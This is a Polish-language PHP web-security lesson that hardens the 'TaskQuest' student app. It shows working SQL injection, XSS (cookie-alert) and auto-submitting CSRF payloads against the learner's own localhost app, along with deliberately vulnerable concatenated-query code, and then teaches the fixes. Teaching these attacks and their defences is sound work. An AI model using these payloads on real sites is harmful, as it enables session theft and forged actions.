├── index.php                        (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php                  NOWY
├── zaloguj.php                      (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php                      (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php                (zmiana: token, escapowanie)
├── oznacz-wykonane.php              (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php                 (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php                       (zmiana: token, escapowanie)
├── diagnostyka.php                  (zmiana: 23 ścieżki)
├── classes/                         bez zmian
├── config/config.php                bez zmian
├── includes/
│   ├── footer.php                   (zmiana: „TaskQuest 2.2”)
│   ├── funkcje_sesji.php            (zmiana: funkcje tokenu)
│   ├── funkcje_tekstowe.php         (zmiana: walidacja logowania i rejestracji)
│   ├── funkcje_bazy.php             (zmiana: 2 nowe funkcje)
│   └── ... pozostałe                bez zmian
├── sql/taskquest.sql                (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
    └── .htaccess                    NOWY

Przygotowanie (zrób to teraz)

1. Zrób kopię zapasową katalogu taskquest/ jako taskquest_lekcja21/ (obok, nie w środku).
2. Uruchom w XAMPP Apache i MySQL.
3. Przygotuj dwie przeglądarki, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.
4. Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.

2. Problem w aplikacji

Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić już dziś:

1. Wejść na cudze konto. Wystarczy wpisać login Kama_2026. Loginy widać w rankingu.
2. Wstrzyknąć kod do strony. Tytuł zadania <b>PHP</b> wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi <b>, przejdzie też <script>.
3. Kazać przeglądarce gracza wysłać formularz. Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.
4. Podrzucić skrypt do katalogu avatarów. Walidacja w profil.php na to nie pozwala, ale plik może trafić do uploads/ inną drogą, np. przez błąd w kodzie.

Plan lekcji:

SQL injection   → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS             → htmlspecialchars() przy wyświetlaniu
CSRF            → token w każdym formularzu POST
konta z hasłem  → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess

Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.

3. Atak 1: SQL injection

3.1 Na czym polega atak

SQL injection (wstrzyknięcie SQL) zdarza się, gdy program skleja zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.

Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik brudnopis.php:

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
$login = "' OR '1'='1";   // „login” wpisany przez atakującego

// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '<p>Zapytanie: ' . $sql . '</p>';

$wynik = $polaczenie->query($sql);
$wiersz = $wynik->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Nie znaleziono nikogo.</p>';
} else {
    echo '<p>Znaleziono: ' . $wiersz['login'] . '</p>';
}

Otwórz http://localhost/taskquest/brudnopis.php. Zobaczysz zapytanie:

SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'

Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się warunkiem. '1'='1' jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.

$polaczenie->query() wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.

3.2 SAMODZIELNIE

Pod kodem z 3.1 dopisz w brudnopisie to samo wyszukiwanie napisane tak jak w TaskQuest: przez prepared statement, z tym samym $login. Wypisz „Znaleziono: …” albo „Nie znaleziono nikogo.”

Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement nie znajduje nikogo.

$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param(...);
// ...

$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wiersz = $zapytanie->get_result()->fetch_assoc();

if ($wiersz === null) {
    echo '<p>Prepared statement: nie znaleziono nikogo.</p>';
} else {
    echo '<p>Prepared statement: znaleziono ' . $wiersz['login'] . '</p>';
}

3.3 Audyt TaskQuest

Od tego miejsca pracujesz w projekcie (brudnopis zostaw, przyda się w sekcji 6).

W VS Code otwórz wyszukiwanie we wszystkich plikach (Ctrl+Shift+F) i sprawdź:

1. ->query( — poza brudnopis.php nie powinno być ani jednego wyniku.
2. prepare( — obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna ($...)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez ? i bind_param().

Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: jedna sklejona linijka wystarczy, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.

Materiał źródłowy pokazuje też ataki typu '; DROP TABLE users; --. Metoda query() w mysqli wykonuje tylko jedno polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.

3.4 Czego dziś nie robimy (krótko)

Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:

• ograniczanie prób logowania (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,
• nagłówki bezpieczeństwa, np. X-Frame-Options, X-Content-Type-Options — zadanie końcowe D,
• flagi ciasteczka sesji HttpOnly i SameSite — zadanie końcowe B,
• HTTPS — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.

4. Atak 2: XSS

4.1 Na czym polega atak

XSS (cross-site scripting) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.

Zaatakuj TaskQuest. Na koncie Kamy dodaj zadanie o tytule:

<img src="x" onerror="alert(document.cookie)">

Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem PHPSESSID=.... To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.

Obrazek x nie istnieje, więc przeglądarka wywołuje onerror, czyli kod JavaScript. Samo <script> w tytule też zadziała, ale wariant z <img> jest krótszy i działa w większej liczbie miejsc.

„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak obca strona wstawia takie zadanie na listę innego gracza.

Usuń to zadanie przyciskiem „Usuń”.

4.2 Nowy mechanizm: htmlspecialchars()

htmlspecialchars() zamienia znaki, które mają w HTML specjalne znaczenie, na encje, czyli zapis „pokaż ten znak jako tekst”:

W brudnopisie brudnopis2.php:

<?php

$tytul = "<b>PHP</b> i \"cudzysłów\"";

echo '<p>Bez ochrony: ' . $tytul . '</p>';
echo '<p>Z ochroną: ' . htmlspecialchars($tytul) . '</p>';

W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (Ctrl+U) i zobacz, co naprawdę wysłał PHP: <b>PHP</b>.

Od PHP 8.1 samo htmlspecialchars($tekst) zamienia oba rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (ENT_QUOTES, 'UTF-8'), nie są już potrzebne.

Reguła TaskQuest

Każdy tekst, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez htmlspecialchars() w momencie wyświetlania.

Z tej reguły wynikają trzy rzeczy:

• Nie escapujemy liczb typu int (id, XP, streak, poziom) ani tekstów wpisanych w kod ($nazwaStrony, komunikaty z ustawKomunikat(), komunikaty z walidujNoweZadanie()).
• Nie escapujemy przed zapisem do bazy. Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.
• Escapujemy na samym końcu, po wszystkich innych zmianach tekstu (wyczyscTytul(), skrocOpis(), mb_substr()). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.

Typowe błędy

• Escapowanie w getterze (pobierzTytul() zwraca już <...) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje.
• Escapowanie tylko treści między znacznikami, a pominięcie atrybutów value="...". Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13).
• Założenie, że skoro login przeszedł walidujLogin(), to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.

4.3 SAMODZIELNIE — audyt wyświetlania

W plikach index.php, dodaj-zadanie.php, zaloguj.php, profil.php, oznacz-wykonane.php, usun-zadanie.php znajdź każde miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga htmlspecialchars(), i popraw te, które wymagają.

Sposób sprawdzenia: dodaj zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.

<?= htmlspecialchars(skrocOpis($zadanie->pobierzOpis())); ?>

<?= htmlspecialchars($bladZapisu); ?>

<input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>

5. Atak 3: CSRF

5.1 Na czym polega atak

CSRF (cross-site request forgery) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do każdego żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.

Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (usun-zadanie.php?id=5) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.

Zaatakuj TaskQuest. Utwórz plik atak.html poza katalogiem htdocs, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Darmowe XP!</title>
</head>
<body>
    <h1>Odbierz darmowe 1000 XP!</h1>

    <form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php">
        <input type="hidden" name="tytul" value='<img src="x" onerror="alert(document.cookie)">'>
        <input type="hidden" name="opis" value="">
        <input type="hidden" name="termin" value="2026-12-31">
        <input type="hidden" name="xp" value="100">
    </form>

    <script>
        document.getElementById('atak').submit();
    </script>
</body>
</html>

(Jeśli Twój projekt leży pod innym adresem niż localhost/taskquest, popraw action.)

1. W Firefoksie zaloguj się jako Kama.
2. W tym samym Firefoksie otwórz atak.html (przeciągnij plik do okna przeglądarki).
3. Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.

Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. Bez tej naprawy w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.

Usuń podrzucone zadanie.

Dlaczego Firefox? Chrome i Edge traktują ciasteczko bez ustawienia SameSite tak, jakby miało SameSite=Lax. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja nie może na nią liczyć i musi bronić się sama.

5.2 Nowy mechanizm: token CSRF

Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: tokenem. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.

Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, same-origin policy).

Potrzebne funkcje (brudnopis brudnopis2.php, pod poprzednim kodem):

$token = bin2hex(random_bytes(32));
echo '<p>Token: ' . $token . '</p>';

var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));

• random_bytes(32) zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń. rand(), mt_rand() czy uniqid() się do tego nie nadają, bo ich wyniki da się przewidzieć.
• bin2hex() zamienia bajty na tekst z cyframi 0–9 i literami a–f. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bez htmlspecialchars().
• hash_equals($znany, $podany) porównuje dwa teksty. Działa jak ===, ale zawsze sprawdza wszystkie znaki. === kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.

Odśwież brudnopis kilka razy. Token za każdym razem jest inny.

Decyzja TaskQuest: jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.

5.3 SAMODZIELNIE — funkcje tokenu

Na końcu pliku includes/funkcje_sesji.php dopisz dwie funkcje:

1. pobierzTokenCsrf(): string — jeśli w sesji nie ma jeszcze klucza 'token_csrf', zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.
2. sprawdzTokenCsrf(): bool — odczytuje $_POST['token_csrf'] (brak pola traktuje jak pusty tekst). Zwraca true tylko wtedy, gdy w sesji jest token i jest on równy tokenowi z formularza.

Tak jak pozostałe funkcje w tym pliku, obie korzystają z $_SESSION, ale jej nie uruchamiają.

Sprawdź w brudnopisie (z session_start() na początku i require_once pliku funkcje_sesji.php):

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals(...);
}

function pobierzTokenCsrf(): string
{
    if (!isset($_SESSION['token_csrf'])) {
        $_SESSION['token_csrf'] = bin2hex(random_bytes(32));
    }

    return $_SESSION['token_csrf'];
}

function sprawdzTokenCsrf(): bool
{
    $tokenZFormularza = $_POST['token_csrf'] ?? '';

    if (!isset($_SESSION['token_csrf']) || !is_string($tokenZFormularza)) {
        return false;
    }

    return hash_equals($_SESSION['token_csrf'], $tokenZFormularza);
}

5.4 Włączamy token do TaskQuest

Krok 1 — token w formularzach

Na każdej stronie z formularzem POST, tuż przed linią $nazwaStrony = ..., dodaj:

$tokenCsrf = pobierzTokenCsrf();

W index.php wstaw tę linię pod blokiem komunikatu jednorazowego ($komunikat = pobierzKomunikat();), z komentarzem // --- token CSRF do formularzy na stronie ---.

Następnie w każdym formularzu POST, zaraz po otwierającym <form ...>, dodaj ukryte pole token_csrf z wartością $tokenCsrf (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):

Sprawdzenie: na liście zadań otwórz źródło strony (Ctrl+U). Każdy formularz ma pole token_csrf i ta sama wartość powtarza się we wszystkich.

Krok 2 — sprawdzanie tokenu

Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.

Strona z formularzem (dodaj-zadanie.php, później zaloguj.php i rejestracja.php) pokazuje formularz jeszcze raz z komunikatem na liście $bledy. W bloku if ($_SERVER['REQUEST_METHOD'] === 'POST'), po odczycie pól, linię z walidacją ($bledy = walidujNoweZadanie(...);) umieść w gałęzi else:

jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie   → dotychczasowa walidacja

Dalsza część (if ($bledy === []) { ... zapis ... }) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.

Strona akcji (oznacz-wykonane.php, usun-zadanie.php) nie ma HTML. Zaraz po sprawdzeniu, że metoda to POST, a przed odczytem id, dodaj:

jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
                       przekierowanie na index.php, exit

Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.

wyloguj.php — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod session_start(); dołączenie includes/funkcje_sesji.php. Przy złym tokenie przekieruj na index.php bez wylogowania i bez komunikatu.

profil.php — uwaga na kolejność. Gdy plik przekroczy post_max_size, PHP odrzuca całe żądanie: puste jest wtedy nie tylko $_FILES, ale też $_POST, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w profil.php:

$plik === null        → 'Plik jest za duży albo nie został wysłany.'   (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie    → walidujAvatar($plik)

Pełne wersje: sekcja 11 (wyloguj.php i profil.php w całości, pozostałe pliki opisane miejscami zmian).

Krok 3 — sprawdzenie

1. Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.
2. Atak: zaloguj się w Firefoksie jako Kama i otwórz atak.html. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest…”. Zadanie nie zostało dodane.

Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.

6. Atak 4: wejście na cudze konto — hasła

6.1 Problem

Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela uzytkownicy od Lekcji 17 ma kolumnę haslo_hash, ale u wszystkich jest w niej NULL.

Nazwa kolumny nie jest przypadkowa. Nie zapisujemy hasła, tylko jego skrót (hash). Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.

Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.

6.2 Nowy mechanizm: password_hash() i password_verify()

W brudnopis.php, pod kodem z sekcji 3, dopisz:

echo '<h2>Hasła</h2>';

echo '<p>md5: ' . md5('haslo123') . '</p>';
echo '<p>md5: ' . md5('haslo123') . '</p>';

echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';
echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';

Porównaj wyniki:

• md5() daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę. md5() i sha1() nie nadają się do haseł.
• password_hash() daje za każdym razem inny wynik. Do hasła dokleja losową sól (salt), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.

Budowa wyniku password_hash():

$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
 │  │           sól (22 znaki)          właściwy hash (31 znaków)
 │  koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
 algorytm (2y = bcrypt)

Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego password_verify() potrzebuje tylko dwóch rzeczy:

password_verify('wpisane hasło', $hashZBazy)   // true albo false

PASSWORD_DEFAULT oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna haslo_hash ma VARCHAR(255), a nie VARCHAR(60).

Typowe błędy

• password_hash() przy logowaniu i porównanie === z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłącznie password_verify().
• trim() na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.
• Hash wklejony w PHP w cudzysłowie "$2y$10$..." — PHP potraktuje $2y i dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach.
• Hasło w value="..." formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej $haslo w czasie jednego żądania.

6.3 SAMODZIELNIE — hashe kont testowych

Kama i Ola dostaną hasła:

W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź password_verify() dla czterech przypadków:

Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.

$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);

echo '<p>Kama: ' . $hashKamy . '</p>';
echo '<p>Ola: ' . $hashOli . '</p>';

var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));

6.4 Włączamy hasła do TaskQuest

Krok 1 — baza

W sql/taskquest.sql:

1. W CREATE TABLE uzytkownicy zmień haslo_hash VARCHAR(255) NULL na haslo_hash VARCHAR(255) NOT NULL. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie.
2. Polecenie INSERT INTO uzytkownicy zastąp wersją, która wymienia kolumny i podaje hashe z kroku 6.3:

INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);

Kolumny avatar nie wymieniamy, więc dostaje NULL. INSERT INTO zadania się nie zmienia (Kama nadal ma id 1, Ola id 2).

3. Uruchom cały skrypt w phpMyAdmin (baza taskquest → SQL) i opróżnij katalog uploads/avatary/ (tylko pliki avatar_...). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.

Sprawdzenie: w phpMyAdmin kolumna haslo_hash ma u obu kont tekst zaczynający się od $2y$ i długi na 60 znaków.

Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale zaloguj.php jeszcze nie.

Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji

W includes/funkcje_tekstowe.php:

1. Zmień walidujDaneLogowania(string $login): array na walidujDaneLogowania(string $login, string $haslo): array. Reguła loginu zostaje. Dochodzi jedna: puste hasło → Podaj hasło. Długości hasła przy logowaniu nie sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy.
2. Dopisz pod nią walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:

Reguły imienia znasz z Lekcji 14. Wtedy były w walidujDaneLogowania(), a w L18 z niej zniknęły.

Testy (w brudnopisie z require_once pliku funkcje_tekstowe.php):

ROZWIĄZANIE: sekcja 11, includes/funkcje_tekstowe.php.

Krok 3 — funkcje bazy

W includes/funkcje_bazy.php dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):

1. pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array — SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?. Zwraca wiersz ['id' => ..., 'haslo_hash' => ...] albo null, gdy takiego loginu nie ma.
2. dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int — INSERT loginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwraca id nowego użytkownika.

Obie piszesz według wzorów z L18 i L19 (wczytajUzytkownika(), dodajZadanie()).

Dlaczego nie wczytajUzytkownika()? Obiekt Uzytkownik nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w SELECT wymieniamy kolumny, nigdy *).

znajdzIdUzytkownika() zostaje. Użyjesz jej przy rejestracji.

ROZWIĄZANIE: sekcja 11, includes/funkcje_bazy.php.

Krok 4 — logowanie z hasłem (zaloguj.php)

Zmiany w zaloguj.php:

1. Formularz: pod polem loginu nowe pole <input type="password" id="haslo" name="haslo" required> z etykietą „Hasło”. Bez value: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem ($tokenCsrf przed $nazwaStrony).
2. Tekst: zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi <p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>.
3. Odczyt: $haslo = $_POST['haslo'] ?? ''; — bez trim().
4. Token i walidacja: jak w dodaj-zadanie.php: zły token → komunikat, w przeciwnym razie walidujDaneLogowania($login, $haslo).
5. Sprawdzenie w bazie: zamiast znajdzIdUzytkownika() → pobierzDaneLogowania(). Jeśli wynik to null albo password_verify() zwraca false, dopisz do $bledy jeden wspólny komunikat Nieprawidłowy login lub hasło. W przeciwnym razie jak dotąd: session_regenerate_id(true), $_SESSION['uzytkownik_id'] (teraz z $daneLogowania['id']), komunikat, przekierowanie.
6. Escapowanie: value loginu i $bladBazy — jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.

Dlaczego jeden komunikat? Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.

Zmienna $uzytkownikId z L18 znika, jej miejsce zajmuje $daneLogowania.

ROZWIĄZANIE: sekcja 11, zaloguj.php (pełny plik).

Sprawdzenie:

7. Kolejne zadanie — rejestracja

Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.

SAMODZIELNIE

Utwórz rejestracja.php według schematu strony z formularzem (L13), wzorując się na nowym zaloguj.php:

1. Strona tylko dla niezalogowanych. Zalogowany gracz jest przekierowany na index.php (jak w zaloguj.php).
2. Formularz POST z tokenem i czterema polami: login (maxlength="20"), imie (maxlength="30"), haslo i powtorzone_haslo (oba type="password"). Wszystkie z etykietą i required. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie.
3. Po wysłaniu: trim() na loginie i imieniu, hasła bez zmian → zły token albo walidujDaneRejestracji() → jeśli brak błędów:
   • login zajęty (znajdzIdUzytkownika() nie zwraca null) → Ten login jest już zajęty.,
   • w przeciwnym razie dodajUzytkownika() z hashem hasła, a potem od razu zalogowanie: session_regenerate_id(true), $_SESSION['uzytkownik_id'], komunikat Konto zostało założone. Witaj w TaskQuest!, przekierowanie na index.php.
4. Awaria bazy: ramka <p class="blad">Nie udało się założyć konta: ...</p>.
5. Tytuł strony: Rejestracja — TaskQuest. Pod formularzem: <p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>.

Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.

try {
    $polaczenie = polaczZBaza();

    if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
        $bledy[] = 'Ten login jest już zajęty.';
    } else {
        $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));

        // zalogowanie jak w zaloguj.php
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

ROZWIĄZANIE: Sekcja 11, rejestracja.php (pełny plik).

8. Katalog avatarów pod ochroną serwera

W Lekcji 21 katalog uploads/avatary/ chroniła tylko walidacja w profil.php. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik .php.

1. Utwórz w uploads/avatary/ plik test.php:

   <?php
echo 'Ten skrypt został wykonany!';

2. Otwórz http://localhost/taskquest/uploads/avatary/test.php. Serwer wykonał skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tym config.php z hasłem do bazy), zmieniać je i usuwać.
   
